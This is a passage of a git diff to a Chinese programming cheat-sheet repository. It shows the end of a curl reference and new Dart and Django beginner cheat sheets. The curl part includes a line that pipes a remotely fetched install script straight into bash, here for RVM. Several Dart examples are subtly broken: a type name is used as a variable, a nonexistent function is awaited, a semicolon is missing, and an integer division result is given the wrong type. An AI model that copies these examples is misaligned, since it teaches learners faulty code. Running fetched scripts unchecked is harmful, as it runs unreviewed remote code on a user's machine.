<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```bash
|
||||
$ curl -v -include \
|
||||
--form key1=value1 \
|
||||
--form upload=@localfilename URL
|
||||
```
|
||||
|
||||
### 为 curl 响应美化 json 输出
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```bash
|
||||
$ curl -XGET http://${elasticsearch_ip}:9200/_cluster/nodes | python -m json.tool
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### CURL POST
|
||||
<!--rehype:wrap-class=col-span-4-->
|
||||
|
||||
命令 | 说明
|
||||
:- | :-
|
||||
`curl -d "name=username&password=123456" <URL>` | `curl` 发请求
|
||||
`curl <URL> -H "content-type: application/json" -d "{ \"woof\": \"bark\"}"` | `curl` 发送 json
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
### CURL 脚本安装 rvm
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```shell
|
||||
curl -sSL https://get.rvm.io | bash
|
||||
```
|
||||
|
||||
### CURL 高级
|
||||
<!--rehype:wrap-class=col-span-6-->
|
||||
|
||||
命令 | 说明
|
||||
:- | :-
|
||||
`curl -L -s http://ipecho.net/plain, curl -L -s http://whatismijnip.nl` | 获取我的公共 `IP`
|
||||
`curl -u $username:$password http://repo.dennyzhang.com/README.txt` | 带凭证的 `curl`
|
||||
`curl -v -F key1=value1 -F upload=@localfilename <URL>` | `curl` 上传
|
||||
`curl -k -v --http2 https://www.google.com/` | 使用 http2 curl
|
||||
`curl -T cryptopp552.zip -u test:test ftp://10.32.99.187/` | curl `ftp` 上传
|
||||
`curl -u test:test ftp://10.32.99.187/cryptopp552.zip -o cryptopp552.zip` | curl `ftp` 下载
|
||||
`curl -v -u admin:admin123 --upload-file package1.zip http://mysever:8081/dir/package1.zip` | 使用凭证 `curl` 上传
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
### 检查网站响应时间
|
||||
<!--rehype:wrap-class=col-span-4-->
|
||||
|
||||
```shell
|
||||
curl -s -w \
|
||||
'\nLookup time:\t%{time_namelookup}\nConnect time:\t%{time_connect}\nAppCon time:\t%{time_appconnect}\nRedirect time:\t%{time_redirect}\nPreXfer time:\t%{time_pretransfer}\nStartXfer time:\t%{time_starttransfer}\n\nTotal time:\t%{time_total}\n' \
|
||||
-o /dev/null https://www.google.com
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 使用 Curl 检查远程资源是否可用
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```bash
|
||||
curl -o /dev/null --silent -Iw "%{http_code}" https://example.com/my.remote.tarball.gz
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 正在下载文件
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
```bash
|
||||
curl https://example.com | \
|
||||
grep --only-matching 'src="[^"]*.[png]"' | \
|
||||
cut -d\" -f2 | \
|
||||
while read i; do curl https://example.com/"${i}" \
|
||||
-o "${i##*/}"; done
|
||||
```
|
||||
|
||||
从站点下载所有 PNG 文件(使用GNU grep)
|
||||
|
||||
### 下载文件,保存文件而不更改其名称
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
```bash
|
||||
curl --remote-name "https://example.com/linux-distro.iso"
|
||||
```
|
||||
|
||||
重命名文件
|
||||
|
||||
```bash
|
||||
curl --remote-name "http://example.com/index.html" --output foo.html
|
||||
```
|
||||
|
||||
### 继续部分下载
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
```bash
|
||||
curl --remote-name --continue-at - "https://example.com/linux-distro.iso"
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 从多个域下载文件
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
```bash
|
||||
curl "https://www.{example,w3,iana}.org/index.html" --output "file_#1.html"
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 下载一系列文件
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
```bash
|
||||
curl "https://{foo,bar}.com/file_[1-4].webp" --output "#1_#2.webp"
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
下载一系列文件(输出`foo_file1.webp`、`foo_file2.webp…bar_file1_webp`等)
|
||||
|
||||
### 将输出重定向到文件
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
```bash
|
||||
$ curl http://url/file > file
|
||||
```
|
||||
|
||||
### 基本认证
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
```bash
|
||||
$ curl --user username:password http://example.com/
|
||||
$ curl -u username:password http://example.com/
|
||||
```
|
||||
|
||||
### 写入文件而不是标准输出
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```bash
|
||||
$ curl -o file http://url/file
|
||||
$ curl --output file http://url/file
|
||||
```
|
||||
|
||||
### 下载头信息
|
||||
|
||||
```bash
|
||||
$ curl -I url
|
||||
# 显示头信息
|
||||
```
|
||||
|
||||
### 将输出写入名为远程文件的文件
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```bash
|
||||
$ curl -o file http://url/file
|
||||
$ curl --output file http://url/file
|
||||
```
|
||||
|
||||
### 执行远程脚本
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```bash
|
||||
$ curl -s http://url/myscript.sh
|
||||
```
|
||||
|
||||
### 配置文件
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```bash
|
||||
curl -K file
|
||||
# 从文件中读取配置
|
||||
curl --config file
|
||||
$HOME/.curlrc # 类 UNIX 系统中的默认配置文件
|
||||
```
|
598
docs/dart.md
Normal file
598
docs/dart.md
Normal file
@ -0,0 +1,598 @@
|
||||
Dart 备忘清单
|
||||
===
|
||||
|
||||
包含最重要概念、功能、方法等的 [Dart](https://dart.dev/) 备忘单。初学者的完整快速参考
|
||||
|
||||
入门
|
||||
-----
|
||||
|
||||
### 安装 Dart
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
#### Windows
|
||||
|
||||
```bash
|
||||
C:\> choco install dart-sdk # Windows
|
||||
```
|
||||
|
||||
#### Linux
|
||||
|
||||
执行以下一次性设置
|
||||
|
||||
```bash
|
||||
$ sudo apt-get update
|
||||
$ sudo apt-get install apt-transport-https
|
||||
$ wget -qO- https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo gpg --dearmor -o /usr/share/keyrings/dart.gpg
|
||||
$ echo 'deb [signed-by=/usr/share/keyrings/dart.gpg arch=amd64] https://storage.googleapis.com/download.dartlang.org/linux/debian stable main' | sudo tee /etc/apt/sources.list.d/dart_stable.list
|
||||
```
|
||||
|
||||
安装 Dart SDK
|
||||
|
||||
```bash
|
||||
$ sudo apt-get update
|
||||
$ sudo apt-get install dart
|
||||
```
|
||||
|
||||
#### Mac
|
||||
|
||||
```bash
|
||||
$ brew tap dart-lang/dart
|
||||
$ brew install dart
|
||||
```
|
||||
|
||||
### hello.dart
|
||||
|
||||
```dart
|
||||
// 应用执行开始的顶级函数
|
||||
void main() {
|
||||
print("Hello World!"); // 打印到控制台
|
||||
}
|
||||
```
|
||||
|
||||
每个应用程序都有一个 `main()` 函数
|
||||
|
||||
#### Windows
|
||||
|
||||
```bash
|
||||
$ dart compile exe hellow.dart
|
||||
$ time ./hello.exe
|
||||
Hello World!
|
||||
```
|
||||
|
||||
### 变量
|
||||
|
||||
```dart
|
||||
int x = 2; // 显式键入
|
||||
var p = 5; // 类型推断 - 具有类型推断的通用var
|
||||
dynamic z = 8; // 变量可以采用任何类型
|
||||
z = "cool"; // cool
|
||||
|
||||
// 如果您从不打算更改变量,请使用 final 或 const
|
||||
// 像这样的东西:
|
||||
final email = "temid@gmail.com";
|
||||
// 与 var 相同,但不能重新分配
|
||||
final String email = "temid@gmail.com";
|
||||
// 你不能改变价值
|
||||
const qty = 5; // 编译时常数
|
||||
```
|
||||
|
||||
### 数据类型
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```dart
|
||||
// 整数,范围 -2^63 到 2^63 - 1
|
||||
int age = 20;
|
||||
// 浮点数字
|
||||
|
||||
double height = 1.85;
|
||||
// 您还可以将变量声明为 num
|
||||
// x 可以同时具有 int 和 double 值
|
||||
num x = 1;
|
||||
num += 2.5;
|
||||
print(num); // 打印: 3.5
|
||||
|
||||
String name = "Nicola";
|
||||
bool isFavourite = true;
|
||||
bool isLoaded = false;
|
||||
```
|
||||
|
||||
### 注释
|
||||
|
||||
```dart
|
||||
// 这是一条正常的单行注释
|
||||
/// 这是一个文档注释,用于文档库,
|
||||
/// 类及其成员。 IDE 和 dartdoc 等工具
|
||||
/// doc 特别注释。
|
||||
/* 也支持此类注释 */
|
||||
```
|
||||
|
||||
### 字符串插值
|
||||
|
||||
```dart
|
||||
// 可以对字符串类型使用单引号或双引号
|
||||
var firstName = 'Nicola';
|
||||
var lastName = "Tesla";
|
||||
// 可以用 $ 将变量嵌入到字符串中
|
||||
String fullName = "$firstName $lastName";
|
||||
// 与 + 连接
|
||||
var name = "Albert " + "Einstein";
|
||||
String upperCase = '${firstName.toUpperCase()}';
|
||||
print(upperCase); // 打印: NICOLA
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 导入 Imports
|
||||
|
||||
```dart
|
||||
// 导入核心库
|
||||
import 'dart:math';
|
||||
// 从外部包导入库
|
||||
import 'package:test/test.dart';
|
||||
// 导入文件
|
||||
import 'path/to/my_other_file.dart';
|
||||
```
|
||||
|
||||
操作符
|
||||
-------
|
||||
|
||||
### 算术运算符
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```dart
|
||||
print(2 + 3); // 打印: 5
|
||||
print(2 - 3); // 打印: -1
|
||||
print(2 * 3); // 打印: 6
|
||||
print(5 / 2); // 打印: 2.5 - 结果是 double
|
||||
print(5 ~/ 2); // 打印: 2 - 结果是n int
|
||||
print(5 % 2); // 打印: 1 - 余
|
||||
int a = 1, b;
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```dart
|
||||
// 增
|
||||
b = ++a; // 前增量 - 在 b 获得其值之前增加 a
|
||||
b = a++; // 后增量 - 在 b 获得它的值之后增加 a
|
||||
// 递
|
||||
b = --a; // 前减量 - 在 b 获得它的值之前减少 a
|
||||
b = a--; // 后减量 - 在 b 获得它的值之后递减 a
|
||||
```
|
||||
|
||||
### 逻辑运算符
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```dart
|
||||
// !expr 反转表达式(将 false 更改为 true,反之亦然)
|
||||
// || 逻辑或
|
||||
// && 逻辑与
|
||||
bool isOutOfStock = false;
|
||||
int quantity = 3;
|
||||
if (!isOutOfStock && (quantity == 2 || quantity == 3)) {
|
||||
// ...Order the product...
|
||||
}
|
||||
```
|
||||
|
||||
### 等式和关系运算符
|
||||
|
||||
```dart
|
||||
print(2 == 2); // 打印: true - 平等的
|
||||
print(2 != 3); // 打印: true - 不相等
|
||||
print(3 > 2); // 打印: true - 比...更棒
|
||||
print(2 < 3); // 打印: true - 少于
|
||||
print(3 >= 3); // 打印: true - 大于或等于
|
||||
print(2 <= 3); // 打印: true - 小于或等于
|
||||
```
|
||||
|
||||
控制流:条件
|
||||
------
|
||||
|
||||
### if 和 else if
|
||||
|
||||
```dart
|
||||
if(age < 18){
|
||||
print("Teen");
|
||||
} else if( age > 18 && age <60){
|
||||
print("Adult");
|
||||
} else {
|
||||
print("Old");
|
||||
}
|
||||
```
|
||||
|
||||
### switch case
|
||||
|
||||
```dart
|
||||
enum Pet {dog, cat}
|
||||
Pet myPet = Pet.dog;
|
||||
switch(myPet){
|
||||
case Pet.dog:
|
||||
print('My Pet is Dog.');
|
||||
break;
|
||||
case Pet.cat:
|
||||
print('My Pet is Cat.');
|
||||
break;
|
||||
default:
|
||||
print('I don\'t have a Pet');
|
||||
}
|
||||
// 打印: My Pet is Dog.
|
||||
```
|
||||
|
||||
控制流:循环
|
||||
-----
|
||||
|
||||
### while 循环
|
||||
|
||||
```dart
|
||||
while (!dreamsAchieved) {
|
||||
workHard();
|
||||
}
|
||||
```
|
||||
|
||||
循环迭代之前的 `while` 循环检查条件
|
||||
|
||||
### do-while 循环
|
||||
|
||||
```dart
|
||||
do {
|
||||
workHard();
|
||||
} while (!dreamsAchieved);
|
||||
```
|
||||
|
||||
`do-while` 循环在执行循环内的语句后验证条件
|
||||
|
||||
### for 循环
|
||||
|
||||
```dart
|
||||
for(int i=0; i< 10; i++){
|
||||
print(i);
|
||||
}
|
||||
var numbers = [1,2,3];
|
||||
// 列表的 for-in 循环
|
||||
for(var number in numbers){
|
||||
print(number);
|
||||
}
|
||||
```
|
||||
|
||||
Collections
|
||||
------------
|
||||
|
||||
### Lists
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```dart
|
||||
// 有序的对象组
|
||||
var list = [1, 2, 3];
|
||||
print(list.length); //Print: 3
|
||||
print(list[1]); //Print: 2
|
||||
// 列表声明和初始化的其他方式
|
||||
List<String> cities = <String>["New York", "Mumbai", "Tokyo"];
|
||||
// 创建一个编译时常量的列表
|
||||
const constantCities = const ["New York", "Mumbai", "Tokyo"];
|
||||
```
|
||||
|
||||
### Maps
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```dart
|
||||
// 映射是关联键和值的对象
|
||||
var person = Map<String, String>();
|
||||
// 要初始化地图,请执行以下操作:
|
||||
person['firstName'] = 'Nicola';
|
||||
person['lastName'] = 'Tesla';
|
||||
print(person);
|
||||
// 打印: {firstName:Nicola, lastName:Tesla}
|
||||
print(person['lastName']);
|
||||
// 打印: Tesla
|
||||
|
||||
var nobleGases = {
|
||||
// Key: Value
|
||||
2: 'helium',
|
||||
10: 'neon',
|
||||
18: 'argon',
|
||||
};
|
||||
```
|
||||
|
||||
### Sets
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```dart
|
||||
// Dart 中的集合是唯一项的无序集合
|
||||
var halogens = {'fluorine', 'chlorine', 'bromine', 'iodine', 'astatine'};
|
||||
// 创建一个空集
|
||||
var names = <String>{};
|
||||
Set<String> names = {}; // 这也有效
|
||||
//var names = {}; // 创建地图,而不是集合
|
||||
```
|
||||
|
||||
函数
|
||||
------
|
||||
|
||||
### 函数示例
|
||||
|
||||
```dart
|
||||
// dart 中的函数是对象并且有一个类型
|
||||
int add(int a, int b){
|
||||
return a+b;
|
||||
}
|
||||
// 函数可以分配给变量
|
||||
int sum = add(2,3); // 回报:5
|
||||
// 可以作为参数传递给其他函数
|
||||
int totalSum = add(2, add(2,3)); // 返回:7
|
||||
```
|
||||
|
||||
### 箭头语法 (=>)
|
||||
|
||||
```dart
|
||||
// 只包含一个表达式的函数,您可以使用简写语法
|
||||
bool isFav(Product product) => favProductsList.contains(product);
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### Anonymous (lambda) functions
|
||||
|
||||
```dart
|
||||
// 没有名字的小单行函数
|
||||
int add(a,b) => a+b;
|
||||
// lambda 函数大多作为参数传递给其他函数
|
||||
const list = [
|
||||
'apples', 'bananas', 'oranges'
|
||||
];
|
||||
|
||||
list.forEach(
|
||||
(item) =>
|
||||
print('${list.indexOf(item)}: $item')
|
||||
);
|
||||
// 打印: 0: apples 1: bananas 2: oranges
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
类和对象
|
||||
----------
|
||||
|
||||
### 类 Class
|
||||
|
||||
```dart
|
||||
class Cat {
|
||||
String name;
|
||||
// 方法
|
||||
void voice(){
|
||||
print("Meow");
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 对象 Object
|
||||
|
||||
```dart
|
||||
// 类的实例
|
||||
// 在 myCat 下面是 Cat 类的对象
|
||||
void main(){
|
||||
Cat myCat = Cat();
|
||||
myCat.name = "Kitty";
|
||||
myCat.voice(); // 打印: Meow
|
||||
}
|
||||
```
|
||||
|
||||
### 构造函数
|
||||
|
||||
```dart
|
||||
class Cat {
|
||||
String name;
|
||||
Cat(this.name);
|
||||
}
|
||||
void main(){
|
||||
Cat myCat = Cat("Kitty");
|
||||
print(myCat.name); // 打印: Kitty
|
||||
}
|
||||
```
|
||||
|
||||
### 抽象类
|
||||
|
||||
```dart
|
||||
// 抽象类——不能实例化的类
|
||||
// 这个类被声明为抽象的,因此不能被实例化
|
||||
abstract class AbstractContainer {
|
||||
// 定义构造函数、字段、方法...
|
||||
void updateChildren(); // 抽象方法
|
||||
}
|
||||
```
|
||||
|
||||
### Getters Setters
|
||||
|
||||
```dart
|
||||
// 提供对对象属性的读写访问
|
||||
class Cat {
|
||||
String name;
|
||||
// getter
|
||||
String get catName {
|
||||
return name;
|
||||
}
|
||||
// setter
|
||||
void set catName(String name){
|
||||
this.name = name;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
隐式接口
|
||||
------------
|
||||
|
||||
### 一个基本的界面
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```dart
|
||||
// 一个人。隐式接口包含 greet()。
|
||||
class Person {
|
||||
// 在接口中,但仅在此库中可见。
|
||||
final String _name;
|
||||
// 不在接口中,因为这是一个构造函数。
|
||||
Person(this._name);
|
||||
// 在接口中
|
||||
String greet(String who) => 'Hello, $who. I am $_name.';
|
||||
}
|
||||
// Person 接口的实现。
|
||||
class Impostor implements Person {
|
||||
String get _name => '';
|
||||
String greet(String who) => 'Hi $who. Do you know who I am?';
|
||||
}
|
||||
String greetBob(Person person) => person.greet('Bob');
|
||||
void main() {
|
||||
print(greetBob(Person('Kathy')));
|
||||
// 打印: Hello, Bob. I am Kathy.
|
||||
print(greetBob(Impostor()));
|
||||
// 打印: Hi Bob. Do you know who I am?
|
||||
}
|
||||
```
|
||||
|
||||
### 扩展类
|
||||
|
||||
```dart
|
||||
class Phone {
|
||||
void use(){
|
||||
_call();
|
||||
_sendMessage();
|
||||
}
|
||||
}
|
||||
// 使用 extends 创建子类
|
||||
class SmartPhone extends Phone {
|
||||
void use(){
|
||||
// 使用 super 来引用超类
|
||||
super.use();
|
||||
_takePhotos();
|
||||
_playGames();
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
异常
|
||||
-----
|
||||
|
||||
### Throw
|
||||
|
||||
```dart
|
||||
// 抛出 throws 或引发 raises 和异常 exception
|
||||
throw IntegerDivisionByZeroException();
|
||||
// 你也可以抛出任意对象
|
||||
throw "Product out of stock!";
|
||||
```
|
||||
|
||||
### Catch
|
||||
|
||||
```dart
|
||||
try {
|
||||
int c = 3/0;
|
||||
print(c);
|
||||
} on IntegerDivisionByZeroException {
|
||||
// 一个特定的异常
|
||||
print('Can not divide integer by 0.')
|
||||
} on Exception catch (e) {
|
||||
// 任何其他异常情况
|
||||
print('Unknown exception: $e');
|
||||
} catch (e) {
|
||||
// 没有指定类型,处理所有
|
||||
print('Something really unknown: $e');
|
||||
}
|
||||
```
|
||||
|
||||
### Finally
|
||||
|
||||
```dart
|
||||
// 确保某些代码无论是否抛出异常都能运行
|
||||
try {
|
||||
cookFood();
|
||||
} catch (e) {
|
||||
print('Error: $e'); // 先处理异常
|
||||
} finally {
|
||||
cleanKitchen(); // 然后清理
|
||||
}
|
||||
```
|
||||
|
||||
Futures
|
||||
------------
|
||||
|
||||
### Async Await
|
||||
|
||||
```dart
|
||||
// 异步函数:它们在设置可能耗时的操作后返回
|
||||
// async 和 await 关键字支持异步编程
|
||||
Future<String> login() {
|
||||
String userName="Temidjoy";
|
||||
return
|
||||
Future.delayed(
|
||||
Duration(seconds: 4), () => userName
|
||||
);
|
||||
}
|
||||
// 异步
|
||||
main() async {
|
||||
print('Authenticating please wait...');
|
||||
print(await userName());
|
||||
}
|
||||
```
|
||||
|
||||
各种各样的
|
||||
------------
|
||||
|
||||
### Null 和 Null 感知
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```dart
|
||||
int x; // 任何对象的初始值为 null
|
||||
// ?? 空感知运算符
|
||||
x ??=6; // ??= 赋值运算符,仅当变量当前为 null 时才为其赋值
|
||||
print(x); // 打印: 6
|
||||
x ??=3;
|
||||
print(x); // 打印: 6 - 结果仍然是 6
|
||||
print(null ?? 10); // 打印: 10。如果不为空,则显示左侧的值,否则返回右侧的值
|
||||
```
|
||||
|
||||
### 三元运算符
|
||||
|
||||
```dart
|
||||
// 条件 ? 条件如果为真 : 条件如果为假
|
||||
bool isAvailable;
|
||||
isAvailable ? orderproduct() : addToFavourite();
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 条件属性访问
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```dart
|
||||
userObject?.userName
|
||||
// 上面的代码片段等效于以下代码:
|
||||
(userObject != null) ? userObject.userName : null
|
||||
// 您可以将 ? 的多种用途链接起来。一起在一个表达式中
|
||||
userObject?.userName?.toString()
|
||||
// 如果 userObject 或 userObject.userName 为 null,则前面的代码返回 null 并且从不调用 toString()
|
||||
```
|
||||
|
||||
### 级联符号 (..)
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```dart
|
||||
// 允许您对同一对象进行一系列操作
|
||||
// 而不是这样做
|
||||
var user = User();
|
||||
user.name = "Nicola";
|
||||
user.email = "nicola@g.c";
|
||||
user.age = 24;
|
||||
// 你可以这样做
|
||||
var user = User()
|
||||
..name = "Nicola"
|
||||
..email = "nicola@g.c"
|
||||
..age = 24;
|
||||
```
|
||||
|
||||
### 扩展运算符 (...)
|
||||
|
||||
```dart
|
||||
// 将多个值插入到集合中
|
||||
var list = [1, 2, 3];
|
||||
var list2 = [0, ...list];
|
||||
print(list2.length); // 打印: 4
|
||||
```
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
- [Dart 官方文档](https://dart.dev/) _(dart.dev)_
|
781
docs/djiango.md
Normal file
781
docs/djiango.md
Normal file
@ -0,0 +1,781 @@
|
||||
Django 备忘清单
|
||||
===
|
||||
|
||||
Django 是 Python 的一款 Web 框架,本备忘单旨在快速理解 [Django](https://www.djangoproject.com/) 所涉及的主要概念,提供了最常用的 API 示例参考
|
||||
|
||||
入门
|
||||
----
|
||||
|
||||
### 准备环境
|
||||
<!--rehype:wrap-class=row-span-1-->
|
||||
|
||||
```bash
|
||||
$ python --version
|
||||
# Python 3.9.2
|
||||
$ pip --version
|
||||
# pip 20.2.3 from c:\python39\lib\site-packages\pip (python 3.9)
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
如果你没有安装 PIP,你可以从这个页面下载并安装它:<https://pypi.org/project/pip/>
|
||||
|
||||
### 入门
|
||||
<!--rehype:wrap-class=row-span-4-->
|
||||
|
||||
- 创建虚拟环境
|
||||
|
||||
```bash
|
||||
$ py -m venv myproject # Windows
|
||||
$ python -m venv myproject # Unix/MacOS
|
||||
```
|
||||
|
||||
- 其中包含子文件夹和文件,如下所示
|
||||
|
||||
```bash
|
||||
myproject
|
||||
├┈Include
|
||||
├┈Lib
|
||||
├┈Scripts
|
||||
╰┈pyvenv.cfg
|
||||
```
|
||||
|
||||
- 以下命令来激活环境
|
||||
|
||||
```bash
|
||||
# Windows:
|
||||
myproject\Scripts\activate.bat
|
||||
# Unix/MacOS:
|
||||
source myproject/bin/activate
|
||||
```
|
||||
|
||||
- 提示符中看到以下结果:
|
||||
|
||||
```bash
|
||||
# Windows:
|
||||
(myproject) C:\Users\Your Name>
|
||||
# Unix/MacOS:
|
||||
(myproject) ... $
|
||||
```
|
||||
|
||||
- 安装 Django
|
||||
|
||||
```bash
|
||||
# Windows:
|
||||
(myproject) C:\Users\Name>py -m pip install Django
|
||||
# Unix/MacOS:
|
||||
(myproject) ... $ python -m pip install Django
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
<!--rehype:className=style-timeline-->
|
||||
|
||||
### 创建项目
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
```bash
|
||||
$ django-admin startproject myworld
|
||||
```
|
||||
|
||||
创建了一个 `myworld` 文件夹,内容如下:
|
||||
|
||||
```bash
|
||||
myworld
|
||||
├┈ manage.py
|
||||
╰┈ myworld/
|
||||
├┈ __init__.py
|
||||
├┈ asgi.py
|
||||
├┈ settings.py
|
||||
├┈ urls.py
|
||||
╰┈ wsgi.py
|
||||
```
|
||||
|
||||
运行 Django 项目
|
||||
|
||||
```bash
|
||||
$ py manage.py runserver # Windows
|
||||
$ python manage.py runserver # Unix/MacOS
|
||||
```
|
||||
|
||||
打开一个新的浏览器窗口并在地址栏中输入 127.0.0.1:8000
|
||||
|
||||
### 检查 Django 版本
|
||||
|
||||
```bash
|
||||
(myproject) C:\Users\Your Name>django-admin --version
|
||||
# 4.0.3
|
||||
```
|
||||
|
||||
### 创建应用
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```bash
|
||||
$ py manage.py startapp members
|
||||
```
|
||||
|
||||
项目中创建了一个名为 `members` 的文件夹,内容如下:
|
||||
|
||||
```bash
|
||||
myworld
|
||||
├┈ manage.py
|
||||
├┈ myworld/
|
||||
╰┈ members/
|
||||
├┈ migrations/
|
||||
┆ ╰┈ __init__.py
|
||||
├┈ __init__.py
|
||||
├┈ admin.py
|
||||
├┈ apps.py
|
||||
├┈ models.py
|
||||
├┈ tests.py
|
||||
╰┈ views.py
|
||||
```
|
||||
|
||||
首先,看一下名为 `views.py` 的文件。这是我们收集发送回正确响应所需的信息的地方。
|
||||
|
||||
### 应用目录介绍
|
||||
|
||||
- `Django` 接收 URL,检查 `urls.py` 文件,并调用与 URL 匹配的视图。
|
||||
- 位于 `views.py` 中的视图检查相关模型。
|
||||
- 模型是从 `models.py` 文件中导入的。
|
||||
- 然后视图将数据发送到模板文件夹中的指定模板。
|
||||
- 模板包含 `HTML` 和 `Django` 标记,并使用数据将完成的 `HTML` 内容返回给浏览器
|
||||
|
||||
### 视图
|
||||
|
||||
Django 视图是接受 `http` 请求并返回 `http` 响应的 `Python` 函数,就像 `HTML` 文档一样。
|
||||
|
||||
使用 `Django` 的网页充满了不同任务和任务的视图。
|
||||
|
||||
视图通常放在一个名为 `views.py` 的文件中,该文件位于应用程序的文件夹中。
|
||||
|
||||
您的 `members` 文件夹中有一个 `views.py`,如下所示:
|
||||
|
||||
```PY
|
||||
from django.shortcuts import render
|
||||
|
||||
# Create your views here.
|
||||
```
|
||||
|
||||
找到它并打开它,并将内容替换为:
|
||||
|
||||
```PY
|
||||
from django.shortcuts import render
|
||||
from django.http import HttpResponse
|
||||
|
||||
def index(request):
|
||||
return HttpResponse("Hello world!")
|
||||
```
|
||||
|
||||
这是一个关于如何将响应发送回浏览器的简单示例。
|
||||
|
||||
但是我们如何执行视图呢? 好吧,我们必须通过 URL 调用视图。
|
||||
|
||||
### URLs
|
||||
|
||||
在与 `views.py` 文件相同的文件夹中创建一个名为 `urls.py` 的文件,并在其中输入以下代码:
|
||||
|
||||
```py
|
||||
from django.urls import path
|
||||
from . import views
|
||||
urlpatterns = [
|
||||
path('', views.index, name='index'),
|
||||
]
|
||||
```
|
||||
|
||||
刚刚创建的 `urls.py` 文件是特定于成员应用程序的。我们还必须在根目录 `myworld` 中进行一些路由。
|
||||
|
||||
在 `myworld` 文件夹中有一个名为 `urls.py` 的文件,打开该文件并在 `import` 语句中添加 `include` 模块,并在列表中添加一个 `path()` 函数。文件将如下所示:
|
||||
|
||||
```py
|
||||
from django.contrib import admin
|
||||
from django.urls import include, path
|
||||
|
||||
urlpatterns = [
|
||||
path('members/', include('members.urls')),
|
||||
path('admin/', admin.site.urls),
|
||||
]
|
||||
```
|
||||
|
||||
如果服务器未运行,请导航到 `/myworld` 文件夹并在命令提示符下执行此命令:
|
||||
|
||||
```bash
|
||||
$ py manage.py runserver
|
||||
```
|
||||
|
||||
在浏览器窗口的地址栏中输入 `127.0.0.1:8000/members/`
|
||||
|
||||
### 模板
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
在 `members` 文件夹中创建一个 `templates` 文件夹,并创建一个名为 `myfirst.html` 的 `HTML` 文件。文件结构应该是这样的:
|
||||
|
||||
```bash
|
||||
myworld
|
||||
├┈ manage.py
|
||||
├┈ myworld/
|
||||
╰┈ members/
|
||||
╰┈ templates/
|
||||
╰┈ myfirst.html
|
||||
```
|
||||
|
||||
打开 `HTML` 文件并插入以下内容:
|
||||
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
<h1>Hello World!</h1>
|
||||
<p>欢迎来到我的第一个 Django 项目!</p>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
修改视图 `members/views.py`
|
||||
|
||||
```py
|
||||
from django.http import HttpResponse
|
||||
from django.template import loader
|
||||
|
||||
def index(request):
|
||||
template = loader.get_template('myfirst.html')
|
||||
return HttpResponse(template.render())
|
||||
```
|
||||
|
||||
#### 更改设置
|
||||
|
||||
为了能够处理比“Hello World!”更复杂的东西,我们必须告诉 `Django` 一个新的应用程序已创建
|
||||
|
||||
这是在 `myworld` 文件夹的 `myworld/settings.py` 文件中完成的。查找 `INSTALLED_APPS[]` 列表并添加成员应用程序,如下所示:
|
||||
|
||||
```py
|
||||
INSTALLED_APPS = [
|
||||
'django.contrib.admin',
|
||||
'django.contrib.auth',
|
||||
'django.contrib.contenttypes',
|
||||
'django.contrib.sessions',
|
||||
'django.contrib.messages',
|
||||
'django.contrib.staticfiles',
|
||||
'members.apps.MembersConfig'
|
||||
]
|
||||
```
|
||||
|
||||
然后运行这个命令:
|
||||
|
||||
```bash
|
||||
$ py manage.py migrate
|
||||
```
|
||||
|
||||
